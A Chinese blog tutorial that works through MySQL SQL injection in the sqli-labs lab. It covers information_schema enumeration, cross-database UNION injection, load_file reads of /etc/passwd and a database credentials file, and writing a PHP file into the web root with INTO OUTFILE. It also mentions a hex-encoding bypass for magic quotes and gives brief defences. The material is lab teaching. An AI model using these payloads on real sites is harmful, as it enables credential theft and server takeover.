首页 > 数据库 >SQL注入-跨站注入

SQL注入-跨站注入

时间:2023-02-04 21:00:28浏览次数:56  
标签:information 跨站 mysql usr SQL var 注入 def schema

SQL注入-跨站注入-主机文件读写

1. information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。

  • schemata 表

    mysql> select * from schemata;
    +--------------+--------------------+----------------------------+------------------------+----------+
    | CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
    +--------------+--------------------+----------------------------+------------------------+----------+
    | def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
    | def          | challenges         | gbk                        | gbk_chinese_ci         | NULL     |
    | def          | mysql              | latin1                     | latin1_swedish_ci      | NULL     |
    | def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
    | def          | security           | gbk                        | gbk_chinese_ci         | NULL     |
    +--------------+--------------------+----------------------------+------------------------+----------+
    5 rows in set (0.00 sec)
    
    

    可以看到这个表中储存着这个连接中的所有数据库

  • TABLES 表

    存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。

    mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5;
    +---------------+--------------------+---------------------------------------+
    | TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME                            |
    +---------------+--------------------+---------------------------------------+
    | def           | information_schema | CHARACTER_SETS                        |
    | def           | information_schema | COLLATIONS                            |
    | def           | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
    | def           | information_schema | COLUMNS                               |
    | def           | information_schema | COLUMN_PRIVILEGES                     |
    +---------------+--------------------+---------------------------------------+
    5 rows in set (0.00 sec)
    
  • COLUMNS 表

    存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果

    mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
    +---------------+--------------------+----------------+
    | TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME     |
    +---------------+--------------------+----------------+
    | def           | information_schema | CHARACTER_SETS |
    | def           | information_schema | CHARACTER_SETS |
    | def           | information_schema | COLLATIONS     |
    | def           | information_schema | COLLATIONS     |
    | def           | information_schema | COLLATIONS     |
    +---------------+--------------------+----------------+
    
  • USER_PRIVILEGES 表

    mysql> SELECT * FROM USER_PRIVILEGES limit 0,5;
    +--------------------+---------------+----------------+--------------+
    | GRANTEE            | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
    +--------------------+---------------+----------------+--------------+
    | 'root'@'localhost' | def           | SELECT         | YES          |
    | 'root'@'localhost' | def           | INSERT         | YES          |
    | 'root'@'localhost' | def           | UPDATE         | YES          |
    | 'root'@'localhost' | def           | DELETE         | YES          |
    | 'root'@'localhost' | def           | CREATE         | YES          |
    +--------------------+---------------+----------------+--------------+
    5 rows in set (0.00 sec)
    
    

2.跨站攻击

两个网站搭建在同一台服务器上都在使用MYsql数据库,我们可以通过在一个网站上的sql注入点访问另一个网站所关联的数据库从而得到我们想要的信息,但是这个必须建立在注入sql点的sql数据库权限为root等高级用户

在靶机上准备数据库,模拟在另一个网站所关联的数据库,我们这里访问的网站所关联的数据库是 security

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| book               |
| challenges         |
| mysql              |
| performance_schema |
| security           |
+--------------------+
6 rows in set (0.00 sec)

mysql> show tables;
+----------------+
| Tables_in_book |
+----------------+
| book           |
+----------------+
1 row in set (0.00 sec)

mysql> desc book;
+-----------------+------------------+------+-----+---------+----------------+
| Field           | Type             | Null | Key | Default | Extra          |
+-----------------+------------------+------+-----+---------+----------------+
| book_id         | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| book_title      | varchar(100)     | NO   |     | NULL    |                |
| book_author     | varchar(40)      | NO   |     | NULL    |                |
| submission_date | date             | YES  |     | NULL    |                |
+-----------------+------------------+------+-----+---------+----------------+
4 rows in set (0.02 sec)

在注入点我们可以

[http://192.168.222.131/Less-2/?id= 1 and 1=2 union select 1,group_concat(SCHEMA_NAME%20),3 from information_schema.schemata](http://192.168.222.131/Less-2/?id= 1 and 1=2 union select 1,group_concat(SCHEMA_NAME%20),3 from information_schema.schemata)

1648638856000

在查看到所有的数据库名字,通过得到的数据库book名字得到表名

在上一篇里面有写:

https://blog.csdn.net/m0_52149675/article/details/123804038?spm=1001.2014.3001.5501

查看到表book里面的所有信息,我们可以依据这个得到另一个网站上的管理员数据,从而得到我们需要的权限

[http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(book_title),group_concat(book_author) from book.book](http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(book_title),group_concat(book_author) from book.book)

1648639472776

3.文件读写函数

参考地址:https://www.sqlsec.com/2020/11/mysql.html

load_file 文件读取

into outfile 或into dumpfile 文件写入

查询是否有写入的权限

mysql>  show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

我们这里不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

  • 文件读取

mysql> select load_file('/etc/passwd')\G;
*************************** 1. row ***************************
load_file('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false

1 row in set (0.01 sec)

常见的load_file()读取的敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669

在网站上读取信息:http://192.168.222.131/Less-2/?id=1%20and%201=2%20union%20select%201,load_file(%27/etc/passwd%27),3

1648640837072

读取数据配置文件:http://192.168.222.131/Less-2/?id=-1%20union%20select%201,load_file(%27/var/www/html/sql-connections/db-creds.inc%27),3

1648643281474

  • 文件写入

mysql>  select '<?php phpinfo() ?>' into outfile './php';
Query OK, 1 row affected (0.00 sec)

mysql> exit
Bye
root@62153ed301ab:/# cat /var/lib/mysql/php
<?php phpinfo() ?>

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/php';
ERROR 1 (HY000): Can't create/write to file '/var/www/php' (Errcode: 13)

在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。

对目录修改权限测试

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
ERROR 1 (HY000): Can't create/write to file '/var/www/html/test.php' (Errcode: 13)
mysql> \q

root@62153ed301ab:/# chmod -Rf 777 /var/www/html
root@62153ed301ab:/# mysql

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
Query OK, 1 row affected (0.01 sec)

mysql> select load_file('/var/www/html/test.php');
+-------------------------------------+
| load_file('/var/www/html/test.php') |
+-------------------------------------+
| <?php phpinfo() ?>
                 |
+-------------------------------------+
1 row in set (0.00 sec)

在网页上:

http://192.168.222.131/Less-2/?id=-1%20union%20select%201,%27%3C?php%20phpinfo()%20?%3E%27,3%20into%20outfile%20%27/var/www/html/test.php%27%20--+

这里的 --+ 注释掉后面的语句 如一些自动加上的 limit 0,1

1648642045355

查看:

http://192.168.222.131/Less-2/?id=-1%20union%20select%201,load_file(%27/var/www/html/test.php%27),3

1648642125799

4.魔术引号

在一个项目中,魔术引号若是打开的话,所有的反斜线(\)、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义,这和 addslashes() 作用完全相同。

正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。

由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示

1648644089402

phpstudy环境中PHP版本选择为5.2.17时在php.ini文件中魔术引号的开关

image.png

绕过方法

采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。

编码软件:小葵

1648644741773

相关防护

1648645409592

int函数

对输入的数字进行判断是否

if(is_int($id)){
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
}else{
	echo 'ni shi sha?';
}

防护软件一般也是对关键字进行防护、触发了waf等安全软件规则会将数据包丢弃。

标签:information,跨站,mysql,usr,SQL,var,注入,def,schema
From: https://www.cnblogs.com/crabin/p/17092375.html

相关文章

  • SQL注入-盲注
    SQL注入-盲注​ 当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时......
  • SQL注入-二次注入
    SQL注入-二次注入-dnslog注入二次注入二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。使用sqlilabs-less24-post登陆框&二次注入演示在原来数据库......
  • SQL注入-二次注入
    SQL注入-二次注入-dnslog注入二次注入二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。使用sqlilabs-less24-post登陆框&二次注入演示在原来数据库......
  • SQL注入-waf绕过
    SQL注入-waf绕过网络资源https://www.cnblogs.com/cute-puli/p/11146625.htmlhttps://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filte......
  • SQL注入-SQLmap-不同数据库注入
    SQL注入-不同数据库注入-注入工具的使用简要学习各种数据库的注入特点access,mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase等1.access注入Access数据库......
  • SQL注入
    SQL注入简单Sqli-labs/Less-2演示信息收集我们使用ubantu搭建Sqli-labs靶场安装:参考博客https://blog.csdn.net/han123456o/article/details/107822333确定注入源:......
  • SQL注入- 堆叠注入
    SQL注入-堆叠注入1.堆叠查询注入​ stackedinjections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mys......
  • SQLMAP使用
    sqlmap使用教程-u指定目标URL(可以是http协议也可以是https协议)-d连接数据库--dbs列出所有的数据库--current-db列出当前数据库--tables列出当前的表--column......
  • SQLGetShell
    SQLGetShell利用sql注入来上传我们的木马后门,连接得到服务器shell确定注入点得到网站目录user='andupdatexml(1,concat(0x7e,@@basedir,0x7e),0)--+&password=asdf&......
  • Qt中QSqlQueryModel对应的表格进行自动排序功能
    Qt中使用了自己的机制来避免使用SQL语句,为我们提供了更简单的数据库操作及数据显示模型,分别是只读的QSqlQueryModel,操作单表的QSqlTableModel和以及可以支持外键的QSqlRela......